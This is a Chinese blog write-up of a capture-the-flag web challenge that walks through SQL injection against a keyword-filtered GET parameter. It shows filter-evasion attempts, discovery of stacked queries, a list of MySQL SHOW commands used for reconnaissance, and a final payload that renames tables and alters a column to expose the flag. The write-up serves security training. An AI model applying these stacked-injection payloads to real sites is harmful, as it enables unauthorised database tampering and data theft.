很明显的get传参,屏蔽了#注释,但是可以用-- qwe。后台对select|update|delete|drop|insert|where做了过滤。
尝试绕过,奈何sel/**/ect,‘sel’+‘ect’,hex编码都没有奏效,好在天无绝人之路,在语句末尾加上;发现页面似乎发生了一丝变化,我丢,居然有堆叠注入
在正则过滤中发现其实还是有遗漏的,比如show命令
1.显示mysql中所有数据库的名称.
1
mysql>show databases;
2.显示当前数据库中所有表的名称
1
2
3
mysql>show tables;
或
mysql>show tables from database_name;
3.显示表中列名称
1
mysql>show columns from database_name.table_name;
4.查看某MySQL用户的使用权限
1
mysql>show grants for user_name;
5.显示create database 语句是否能够创建指定的数据库,并可以查看到创建库语句的SQL信息。
1
mysql>show create database database_name;
6.显示create table 语句是否能够创建指定的数据表,并可以查看到表创建语句的SQL信息。
1
mysql>show create table table_name;
7.显示安装以后可用的存储引擎和默认引擎。
1
mysql>show engines;
8.显示最后一个执行的语句所产生的错误、警告和通知
1
mysql> show warnings;
9.只显示最后一个执行语句所产生的错误
1
mysql>show errors;
10.显示系统中正在运行的所有进程,也就是当前正在执行的查询.
1
mysql> show processlist\G
11.查看所有存储过程。
1
mysql> show procedure status;
12.查看某个存储过程内容
1
show create procedure 存储过程名称;
13.查看函数的内容.
1
show create function func_name;
1919810931114514
,(注意是反单引) 关于单引号和反单引号在mysql中是这么规定的
单引号( ' )或双引号主要用于 字符串的引用符号如:
mysql> SELECT 'hello', '"hello"', '""hello""', 'hel''lo', '/'hello';
数据库、表、索引、列和别名用的是引用符是反勾号(‘`’),如:
mysql>SELECT * FROM `select` WHERE `select`.id > 100;
rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100); -- qwe
将words表改名为words1,flag所在表改为words,字段名也修改的和原本保持一样,这样就实现了狸猫换太子
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
xiao_yi
发表于 2020-11-19
学习了
评论列表
加载数据中...